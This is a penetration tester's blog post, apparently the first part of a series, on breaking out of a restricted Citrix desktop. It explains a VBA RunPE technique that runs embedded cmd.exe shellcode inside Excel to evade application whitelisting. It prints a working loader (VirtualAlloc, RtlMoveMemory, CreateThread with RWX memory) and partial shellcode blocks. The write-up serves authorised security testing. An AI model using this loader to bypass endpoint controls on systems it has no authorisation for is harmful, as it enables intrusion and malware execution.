In this post, I’d like to share a technique that I often use to break out of highly constrained desktop environments such as CItrix. The only prerequisite is to have access to Microsoft Word or Excel with the VBA editor enabled.
During an engagement, I had to assess the security level of a thick client on a Citrix virtual desktop. Usually, this kind of audit is quite easy. You find a way to open an Explorer window, you access the
C:\ drive, execute
cmd.exe or, even better,
powershell.exe, and it’s almost game over. If you’re lucky enough, you will even find a vulnerability to escalate your privileges.
This time, however, it was different. I was able to quickly open an
Explorer window - using the
File > Open... menu - but, from there, I got an
Access Denied error message with every application I tried to execute. None of the techniques listed in the UltimateAppLockerByPassList worked.
Access Denied error messages I got were not caused by AppLocker but by a third-party security product: AppSense by Ivanti, and it was properly configured. Nevertheless, I spotted a potential weakness…
After a few hours spent on looking for what I could execute on the virtual desktop, I came to the conclusion that only the thick client itself and Microsoft Excel were accessible with my current privileges. So, I opened Excel and enabled the Developer tab to access the VBA editor. This was my way out…
This will probably seem an obvious avenue to explore for the most experienced pentesters but, at that time, it was not for me. I only knew that I could use
Metasploit to generate shellcodes as VBA payloads but I also knew that they would be detected by the antivirus software.
VBA to the rescue
From there, I’ve done a lot of research to see what I could do with the VBA editor, and I stumbled upon Didier Stevens’ blog. For those of you, like me at that time, who never heard of him before, he is a Belgian security researcher, who works a lot on malicious Office documents and ways to analyze and detect them.
One of his posts caught my attention: Create Your Own CMD.XLS. It was about running
cmd.exe within Excel without creating a new process. Wait…! What…?!
As we can see on his screenshot, the title of the command prompt window is actually the path of the Excel executable. How is that possible and how will it help us?
RunPE in VBA
Didier Stevens actually implemented a variant of the RunPE technique in VBA. RunPE is a trick that has been used by malware authors for many years. It consists in running code inside the memory of a legit process in order to hide its actual ativity.
I won’t digress too much and explain what RunPE is in detail. Instead, I will try to explain how his code works. You can follow along by downloading it here.
1) Importing WIN32 functions
One of the most powerful features of VBA is the possibility to import functions from the Windows API. That’s exactly what the first lines of his code do. They import 3 functions from
1 2 3 Private Declare Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As Long, ByVal sSource As String, ByVal lLength As Long) Private Declare Function CreateThread Lib "KERNEL32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
These functions are also the ones thet are typically used to execute a shellcode on Windows.
2) Defining structures and constants
A lot of structures and constants are defined in the Windows API. The problem is that VBA is not aware of these definitions. So we have to declare them manually.
Here, we are lucky, only two constants are required by
VirtualAlloc and that’s all.
1 2 Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40
3) The shellcode
The objective is to run
cmd.exe within Excel. To do so, the
cmd.exe PE file was extracted from ReactOS and converted to an alphanumeric shellcode. However, this operation has a cost. It generates a huge string that needs to be embedded into the code. To add to the challenge, the VBA editor has several restrictions: the length of the lines of code and functions are limited.
Therefore, the shellcode needs to be constructed from the concatenation of multiple blocks, which are themselves the concatenation of multiple strings.
The blocks are constructed like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Private Function ShellCode1() As String Dim sShellCode As String sShellCode = "" sShellCode = sShellCode + "6FoIAADDVYnlUVZXi00Mi3UQi30U/zb/dQjoGQAAAIkHgccEAAAAgcYEAAAA4uZfXlmJ7F3CEABVieVT" sShellCode = sShellCode + "VldRZP81MAAAAFiLQAyLSAyLEYtBMGoCi30IV1DoWwAAAIXAdASJ0evni0EYUItYPAHYi1h4WFABw4tL" sShellCode = sShellCode + "HItTIItbJAHBAcIBw4syWFABxmoB/3UMVugjAAAAhcB0CIPCBIPDAuvjWDHSZosTweICAdEDAVlfXluJ" sShellCode = sShellCode + "7F3CCABVieVRU1IxyTHbMdKLRQiKEIDKYAHT0eMDRRCKCITJ4O4xwItNDDnLdAFAWltZiexdwgwAVYnl" sShellCode = sShellCode + "g30MAHUVi0UQUGoAi00I/1EoUItFCP9QDOsXi1UQUotFDFBqAItNCP9RKFCLRQj/UBBdwgwAVYnlg+wU" sShellCode = sShellCode + "i0UUi0gEiU3wi1UUiwKLTRSLEQ+3ShSNVAgYiVXsx0X8AAAAAOsM/0X8i03sg8EoiU3si1UUiwIPt0gG" '[snip] ShellCode1 = sShellCode End Function
The blocks are then assembled like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Private Function ShellCode() As String Dim sShellCode As String sShellCode = chr(&hEB) + chr(&h3A) + chr(&h31) + chr(&hD2) + chr(&h80) + chr(&h3B) + chr(&h2B) '[snip] sShellCode = sShellCode + ShellCode1() sShellCode = sShellCode + ShellCode2() sShellCode = sShellCode + ShellCode3() sShellCode = sShellCode + ShellCode4() '[snip] sShellCode = sShellCode + ShellCode204() sShellCode = sShellCode + ShellCode205() sShellCode = sShellCode + ShellCode206() sShellCode = sShellCode + ShellCode207() sShellCode = sShellCode + ShellCode208() ShellCode = sShellCode End Function
ShellCode() function will therefore dynamically generate the entire shellcode in memory.
4) Executing the shellcode
Once the shellcode is constructed, it can be executed the same way it would be in a standard Windows console application written in C++. First, a buffer is allocated using
EXECUTE permission. Then, the content of the shellcode is copied to the allocated buffer. Finally, a new thread is created by specifying the address of the buffer as a pointer to the thread
1 2 3 4 5 6 7 8 9 10 Public Sub ExecuteShellCode() Dim sShellCode As String Dim lpMemory As Long Dim lResult As Long sShellCode = ShellCode() lpMemory = VirtualAlloc(0&, Len(sShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) RtlMoveMemory lpMemory, sShellCode, Len(sShellCode) lResult = CreateThread(0&, 0&, lpMemory, 0&, 0&, 0&) End Sub
Et voilà! We have a VBA macro that can be used to run
cmd.exe within Word or Excel. This can bypass any restriction as long as you have access to one of these two Office products and the VBA editor is enabled.
However, it has several drawbacks:
It only runs
Thanks to the command prompt, we can browse the entire file system easily, and… …that’s about all. Indeed, we won’t be able to execute any other commands since it would require the creation of subprocesses. In addition, the shellcode was developed to run
cmd.exe only and creating a new one to execute another PE file might represent a tedious task.
It is only 32-bit compatible
This time, I was very lucky because a 32-bit version of Office was installed in the virtual environment. If a 64-bit version was installed instead, the code would have failed.
The code is huge!
The final size of the VBA code is more than 2.2MB, for a total of more than 22,000 lines of code. A detail that I didn’t mention in my scenario is the fact that file transfers between the host and the virtual desktop were also forbidden. Fortunately, it was still possible to use the clipboard but since its size was limited, I had to copy the entire code piece by piece manually. I could have used something like a Rubber Ducky to work around this issue but I figured that the risk of failure was too high because of the huge amount of code to type.
But don’t get me wrong, I’m very impressed by Didier Stevens’ work and it clearly saved my day because I had nothing else to rely on. However, it was one of those times when you think you could have done better. So, I decided to make my own version and I implemented the full RunPE technique in VBA to address these limitations.
The development process will be discussed in part 2… ;)